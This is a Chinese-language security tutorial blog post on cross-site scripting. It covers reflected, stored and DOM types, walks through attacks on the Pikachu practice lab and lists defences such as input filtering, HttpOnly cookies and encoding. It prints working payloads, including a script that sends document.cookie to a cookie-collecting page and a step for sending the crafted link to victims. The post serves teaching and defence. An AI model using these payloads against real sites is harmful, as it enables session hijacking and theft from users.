Web安全-客户端脚本安全

跨站脚本攻击(XSS)

1.1简介

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

1.2常见漏洞

  • 反射型:交互的数据一般不会存在在数据库里面,一次性,所见即所得,一般出现在查询类页面。
  • 存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面
  • DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型。

1.3攻击演示

原理:形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致黑客“精心构造”的脚本输入后,再输出到前端时被浏览器当作有效代码解析执行从而产生危害。

  • 反射型XSS攻击:漏洞网站主要存在用户通过GET发送来的表单数据,未经处理直接写入返回的HTML流,这就是XSS漏洞所在。
    • 攻击过程:
      • 1.先输入一些可能会被过滤的字符和唯一字符
      • 2.开发者模式查看一下源代码,发现不存在任何字符串过滤
      • 3.没有任何的过滤条件,那么就可以构造一个xss的弹窗(不仅限于弹窗,这里只是做演示)。<script>alert('xss')</script>
      • 4.发现前端限制了我们的输入长度,我们可以在开发者工具中进行修改
      • 5.这样我们就可以插入我们的payload了
  • 存储型XSS攻击:一般都是在留言板内,把内容保存在数据库,这样每次访问这个页面就会触发XSS漏洞
    • 攻击过程:
      • 1.将传入的内容存储至数据库。下次回显会出现异常界面或弹出异常框,如果进行恶意攻击,可能后果不堪设想
  • DOM型XSS攻击:
    • 攻击过程:
      • 1.通过修改H5的DOM来实现攻击。将DOM闭合后,发现很容易就弹窗了,pyload是'><img src="#" onmouseover="alert('xss')">
  • GET型XSS攻击获取用户cookie:
    • 攻击过程:
      • 1.当我们构造一个xss攻击的代码:<script>document.location = 'http://192.168.103.62:9080/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
      • 2.跳转到接收cookie的页面,并且把cookie带入,构成一个完整的get请求
      • 3.之后就可以把构造好的页面发送给别人,让别人点击以后查看效果

1.4 防御方法

  • 使用 XSS Filter:针对用户提交的数据进行有效的验证,只接受我们规定的长度或内容的提交,过滤掉其他的输入内容。比如:
    • 表单数据指定值的类型:年龄只能是 INT ,NAME 只能是字母等
    • 过滤或移除特殊的 HTML 标签:<script>、<iframe>
    • 过滤 JS 事件的标签:onclick、onerror、onfocus
  • HTTP ONLY COOKIE
    • 许多 XSS 攻击的目的就是获取用户的 COOKIE,将重要的 COOKIE 标记为 HTTP ONLY,这样的话当浏览器向服务端发起请求时就会带上 COOKIE 字段,但是在脚本中却不能访问 COOKIE,这样就避免了 XSS 攻击利用 JS 的 DOCUMENT.COOKIE获取 COOKIE
  • JavaScript编码:这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(如onerror, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分(data value)之中,除了上面的那些转义之外,还要附加上下面的转义:
    • \ 转成 \\
    • / 转成 \/
    • ; 转成 ;(全角;)
      注意:在对不可信数据做编码的时候,不能图方便使用反斜杠\ 对特殊字符进行简单转义,比如将双引号 ”转义成 \”,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击;另外,输出的变量的时候,变量值必须在引号内部,避免安全问题;更加严格的方式,对除了数字和字母以外的所有字符,使用十六进制\xhh 的方式进行编码。
  • HTML实体
    当需要往 HTML 标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行 HTML ENTITY 编码,在 HTML 中有些字符对于 HTML 来说是具有特殊意义的,所以这些特殊字符不允许在文本中直接使用,需要使用实体字符。HTML 实体的存在是导致 XSS 漏洞的主要原因之一,因此我们需要将实体转化为相应的实体编号。
posted @ 2020-04-28 20:30  如果云吃糖  阅读(274)  评论(0编辑  收藏  举报